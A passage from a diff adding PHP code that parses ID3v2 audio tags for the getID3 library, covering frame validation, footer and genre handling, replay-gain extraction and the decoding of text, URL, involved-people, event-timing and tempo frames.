'.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); + break; + } + } + break; // skip rest of ID3v2 header + } + + if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) { + $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.'); + $frame_name = $iTunesBrokenFrameNameFixed; + } + if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) { + + $parsedFrame = array(); + $parsedFrame['frame_name'] = $frame_name; + $parsedFrame['frame_flags_raw'] = $frame_flags; + $parsedFrame['data'] = substr($framedata, 0, $frame_size); + $parsedFrame['datalength'] = getid3_lib::CastAsInt($frame_size); + $parsedFrame['dataoffset'] = $framedataoffset; + + $this->ParseID3v2Frame($parsedFrame); + $thisfile_id3v2[$frame_name][] = $parsedFrame; + + $framedata = substr($framedata, $frame_size); + + } else { // invalid frame length or FrameID + + if ($frame_size <= strlen($framedata)) { + + if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) { + + // next frame is valid, just skip the current frame + $framedata = substr($framedata, $frame_size); + $this->warning('Next ID3v2 frame is valid, skipping current frame.'); + + } else { + + // next frame is invalid too, abort processing + //unset($framedata); + $framedata = null; + $this->error('Next ID3v2 frame is also invalid, aborting processing.'); + + } + + } elseif ($frame_size == strlen($framedata)) { + + // this is the last frame, just skip + $this->warning('This was the last ID3v2 frame.'); + + } else { + + // next frame is invalid too, abort processing + //unset($framedata); + $framedata = null; + $this->warning('Invalid ID3v2 frame size, aborting.'); + + } + if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) { + + switch ($frame_name) { + case "\x00\x00".'MP': + case "\x00".'MP3': + case ' MP3': + case 'MP3e': + case "\x00".'MP': + case ' MP': + case 'MP3': + $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]'); + break; + + default: + $this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).'); + break; + } + + } elseif (!isset($framedata) || ($frame_size > strlen($framedata))) { + + $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).'); + + } else { + + $this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).'); + + } + + } + $framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion)); + + } + + } + + + // Footer + + // The footer is a copy of the header, but with a different identifier. + // ID3v2 identifier "3DI" + // ID3v2 version $04 00 + // ID3v2 flags %abcd0000 + // ID3v2 size 4 * %0xxxxxxx + + if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) { + $footer = $this->fread(10); + if (substr($footer, 0, 3) == '3DI') { + $thisfile_id3v2['footer'] = true; + $thisfile_id3v2['majorversion_footer'] = ord($footer[3]); + $thisfile_id3v2['minorversion_footer'] = ord($footer[4]); + } + if ($thisfile_id3v2['majorversion_footer'] <= 4) { + $id3_flags = ord($footer[5]); + $thisfile_id3v2_flags['unsynch_footer'] = (bool) ($id3_flags & 0x80); + $thisfile_id3v2_flags['extfoot_footer'] = (bool) ($id3_flags & 0x40); + $thisfile_id3v2_flags['experim_footer'] = (bool) ($id3_flags & 0x20); + $thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10); + + $thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1); + } + } // end footer + + if (isset($thisfile_id3v2['comments']['genre'])) { + $genres = array(); + foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) { + foreach ($this->ParseID3v2GenreString($value) as $genre) { + $genres[] = $genre; + } + } + $thisfile_id3v2['comments']['genre'] = array_unique($genres); + unset($key, $value, $genres, $genre); + } + + if (isset($thisfile_id3v2['comments']['track_number'])) { + foreach ($thisfile_id3v2['comments']['track_number'] as $key => $value) { + if (strstr($value, '/')) { + list($thisfile_id3v2['comments']['track_number'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track_number'][$key]); + } + } + } + + if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) { + $thisfile_id3v2['comments']['year'] = array($matches[1]); + } + + + if (!empty($thisfile_id3v2['TXXX'])) { + // MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames + foreach ($thisfile_id3v2['TXXX'] as $txxx_array) { + switch ($txxx_array['description']) { + case 'replaygain_track_gain': + if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) { + $info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); + } + break; + case 'replaygain_track_peak': + if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) { + $info['replay_gain']['track']['peak'] = floatval($txxx_array['data']); + } + break; + case 'replaygain_album_gain': + if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) { + $info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data']))); + } + break; + } + } + } + + + // Set avdataoffset + $info['avdataoffset'] = $thisfile_id3v2['headerlength']; + if (isset($thisfile_id3v2['footer'])) { + $info['avdataoffset'] += 10; + } + + return true; + } + + /** + * @param string $genrestring + * + * @return array + */ + public function ParseID3v2GenreString($genrestring) { + // Parse genres into arrays of genreName and genreID + // ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)' + // ID3v2.4.x: '21' $00 'Eurodisco' $00 + $clean_genres = array(); + + // hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags + if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) { + // note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here: + // replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name + if (strpos($genrestring, '/') !== false) { + $LegitimateSlashedGenreList = array( // https://github.com/JamesHeinrich/getID3/issues/223 + 'Pop/Funk', // ID3v1 genre #62 - https://en.wikipedia.org/wiki/ID3#standard + 'Cut-up/DJ', // Discogs - https://www.discogs.com/style/cut-up/dj + 'RnB/Swing', // Discogs - https://www.discogs.com/style/rnb/swing + 'Funk / Soul', // Discogs (note spaces) - https://www.discogs.com/genre/funk+%2F+soul + ); + $genrestring = str_replace('/', "\x00", $genrestring); + foreach ($LegitimateSlashedGenreList as $SlashedGenre) { + $genrestring = str_ireplace(str_replace('/', "\x00", $SlashedGenre), $SlashedGenre, $genrestring); + } + } + + // some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal" + if (strpos($genrestring, ';') !== false) { + $genrestring = str_replace(';', "\x00", $genrestring); + } + } + + + if (strpos($genrestring, "\x00") === false) { + $genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring); + } + + $genre_elements = explode("\x00", $genrestring); + foreach ($genre_elements as $element) { + $element = trim($element); + if ($element) { + if (preg_match('#^[0-9]{1,3}$#', $element)) { + $clean_genres[] = getid3_id3v1::LookupGenreName($element); + } else { + $clean_genres[] = str_replace('((', '(', $element); + } + } + } + return $clean_genres; + } + + /** + * @param array $parsedFrame + * + * @return bool + */ + public function ParseID3v2Frame(&$parsedFrame) { + + // shortcuts + $info = &$this->getid3->info; + $id3v2_majorversion = $info['id3v2']['majorversion']; + + $parsedFrame['framenamelong'] = $this->FrameNameLongLookup($parsedFrame['frame_name']); + if (empty($parsedFrame['framenamelong'])) { + unset($parsedFrame['framenamelong']); + } + $parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']); + if (empty($parsedFrame['framenameshort'])) { + unset($parsedFrame['framenameshort']); + } + + if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard + if ($id3v2_majorversion == 3) { + // Frame Header Flags + // %abc00000 %ijk00000 + $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation + $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation + $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only + $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression + $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption + $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity + + } elseif ($id3v2_majorversion == 4) { + // Frame Header Flags + // %0abc0000 %0h00kmnp + $parsedFrame['flags']['TagAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation + $parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation + $parsedFrame['flags']['ReadOnly'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only + $parsedFrame['flags']['GroupingIdentity'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity + $parsedFrame['flags']['compression'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression + $parsedFrame['flags']['Encryption'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption + $parsedFrame['flags']['Unsynchronisation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation + $parsedFrame['flags']['DataLengthIndicator'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator + + // Frame-level de-unsynchronisation - ID3v2.4 + if ($parsedFrame['flags']['Unsynchronisation']) { + $parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']); + } + + if ($parsedFrame['flags']['DataLengthIndicator']) { + $parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1); + $parsedFrame['data'] = substr($parsedFrame['data'], 4); + } + } + + // Frame-level de-compression + if ($parsedFrame['flags']['compression']) { + $parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4)); + if (!function_exists('gzuncompress')) { + $this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"'); + } else { + if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) { + //if ($decompresseddata = @gzuncompress($parsedFrame['data'])) { + $parsedFrame['data'] = $decompresseddata; + unset($decompresseddata); + } else { + $this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"'); + } + } + } + } + + if (!empty($parsedFrame['flags']['DataLengthIndicator'])) { + if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) { + $this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data'); + } + } + + if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) { + + $warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion'; + switch ($parsedFrame['frame_name']) { + case 'WCOM': + $warning .= ' (this is known to happen with files tagged by RioPort)'; + break; + + default: + break; + } + $this->warning($warning); + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1 UFID Unique file identifier + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) { // 4.1 UFI Unique file identifier + // There may be more than one 'UFID' frame in a tag, + // but only one with the same 'Owner identifier'. + //
                              + // Owner identifier $00 + // Identifier + $exploded = explode("\x00", $parsedFrame['data'], 2); + $parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : ''); + $parsedFrame['data'] = (isset($exploded[1]) ? $exploded[1] : ''); + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) { // 4.2.2 TXX User defined text information frame + // There may be more than one 'TXXX' frame in each tag, + // but only one with the same description. + //
                              + // Text encoding $xx + // Description $00 (00) + // Value + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['description'])); + $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); + $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); + if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); + } else { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data'])); + } + } + //unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain + + + } elseif ($parsedFrame['frame_name'][0] == 'T') { // 4.2. T??[?] Text information frame + // There may only be one text information frame of its kind in an tag. + //
                              + // Text encoding $xx + // Information + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + } + + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); + + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + // ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with / + // This of course breaks when an artist name contains slash character, e.g. "AC/DC" + // MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense + // getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user + switch ($parsedFrame['encoding']) { + case 'UTF-16': + case 'UTF-16BE': + case 'UTF-16LE': + $wordsize = 2; + break; + case 'ISO-8859-1': + case 'UTF-8': + default: + $wordsize = 1; + break; + } + $Txxx_elements = array(); + $Txxx_elements_start_offset = 0; + for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) { + if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) { + $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); + $Txxx_elements_start_offset = $i + $wordsize; + } + } + $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); + foreach ($Txxx_elements as $Txxx_element) { + $string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element); + if (!empty($string)) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string; + } + } + unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset); + } + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) { // 4.3.2 WXX User defined URL link frame + // There may be more than one 'WXXX' frame in each tag, + // but only one with the same description + //
                              + // Text encoding $xx + // Description $00 (00) + // URL + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); // according to the frame text encoding + $parsedFrame['url'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1 + $parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + + if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); + } + unset($parsedFrame['data']); + + + } elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames + // There may only be one URL link frame of its kind in a tag, + // except when stated otherwise in the frame description + //
                              + // URL + + $parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1 + if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4 IPLS Involved people list (ID3v2.3 only) + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) { // 4.4 IPL Involved people list (ID3v2.2 only) + // http://id3.org/id3v2.3.0#sec4.4 + // There may only be one 'IPL' frame in each tag + //
                              + // Text encoding $xx + // People list strings + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + } + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($parsedFrame['encodingid']); + $parsedFrame['data_raw'] = (string) substr($parsedFrame['data'], $frame_offset); + + // https://www.getid3.org/phpBB3/viewtopic.php?t=1369 + // "this tag typically contains null terminated strings, which are associated in pairs" + // "there are users that use the tag incorrectly" + $IPLS_parts = array(); + if (strpos($parsedFrame['data_raw'], "\x00") !== false) { + $IPLS_parts_unsorted = array(); + if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) { + // UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding + $thisILPS = ''; + for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) { + $twobytes = substr($parsedFrame['data_raw'], $i, 2); + if ($twobytes === "\x00\x00") { + $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); + $thisILPS = ''; + } else { + $thisILPS .= $twobytes; + } + } + if (strlen($thisILPS) > 2) { // 2-byte BOM + $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); + } + } else { + // ISO-8859-1 or UTF-8 or other single-byte-null character set + $IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']); + } + if (count($IPLS_parts_unsorted) == 1) { + // just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson" + foreach ($IPLS_parts_unsorted as $key => $value) { + $IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value); + $position = ''; + foreach ($IPLS_parts_sorted as $person) { + $IPLS_parts[] = array('position'=>$position, 'person'=>$person); + } + } + } elseif ((count($IPLS_parts_unsorted) % 2) == 0) { + $position = ''; + $person = ''; + foreach ($IPLS_parts_unsorted as $key => $value) { + if (($key % 2) == 0) { + $position = $value; + } else { + $person = $value; + $IPLS_parts[] = array('position'=>$position, 'person'=>$person); + $position = ''; + $person = ''; + } + } + } else { + foreach ($IPLS_parts_unsorted as $key => $value) { + $IPLS_parts[] = array($value); + } + } + + } else { + $IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']); + } + $parsedFrame['data'] = $IPLS_parts; + + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; + } + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4 MCDI Music CD identifier + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) { // 4.5 MCI Music CD identifier + // There may only be one 'MCDI' frame in each tag + //
                              + // CD TOC + + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; + } + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5 ETCO Event timing codes + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) { // 4.6 ETC Event timing codes + // There may only be one 'ETCO' frame in each tag + //
                              + // Time stamp format $xx + // Where time stamp format is: + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + // Followed by a list of key events in the following format: + // Type of event $xx + // Time stamp $xx (xx ...) + // The 'Time stamp' is set to zero if directly at the beginning of the sound + // or after the previous event. All events MUST be sorted in chronological order. + + $frame_offset = 0; + $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + + while ($frame_offset < strlen($parsedFrame['data'])) { + $parsedFrame['typeid'] = substr($parsedFrame['data'], $frame_offset++, 1); + $parsedFrame['type'] = $this->ETCOEventLookup($parsedFrame['typeid']); + $parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6 MLLT MPEG location lookup table + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) { // 4.7 MLL MPEG location lookup table + // There may only be one 'MLLT' frame in each tag + //
                              + // MPEG frames between reference $xx xx + // Bytes between reference $xx xx xx + // Milliseconds between reference $xx xx xx + // Bits for bytes deviation $xx + // Bits for milliseconds dev. $xx + // Then for every reference the following data is included; + // Deviation in bytes %xxx.... + // Deviation in milliseconds %xxx.... + + $frame_offset = 0; + $parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2)); + $parsedFrame['bytesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3)); + $parsedFrame['msbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3)); + $parsedFrame['bitsforbytesdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1)); + $parsedFrame['bitsformsdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1)); + $parsedFrame['data'] = substr($parsedFrame['data'], 10); + $deviationbitstream = ''; + while ($frame_offset < strlen($parsedFrame['data'])) { + $deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); + } + $reference_counter = 0; + while (strlen($deviationbitstream) > 0) { + $parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation'])); + $parsedFrame[$reference_counter]['msdeviation'] = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation'])); + $deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']); + $reference_counter++; + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7 SYTC Synchronised tempo codes + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) { // 4.8 STC Synchronised tempo codes + // There may only be one 'SYTC' frame in each tag + //
                              + // Time stamp format $xx + // Tempo data + // Where time stamp format is: + // $01 (32-bit value) MPEG frames from beginning of file + // $02 (32-bit value) milliseconds from beginning of file + + $frame_offset = 0; + $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $timestamp_counter = 0; + while ($frame_offset < strlen($parsedFrame['data'])) { + $parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + if ($parsedFrame[$timestamp_counter]['tempo'] == 255) { + $parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1)); + } + $parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $timestamp_counter++; + } + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8 USLT Unsynchronised lyric/text transcription + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) { // 4.9 ULT Unsynchronised lyric/text transcription + // There may be more than one 'Unsynchronised lyrics/text transcription' frame + // in each tag, but only one with the same language and content descriptor. + //
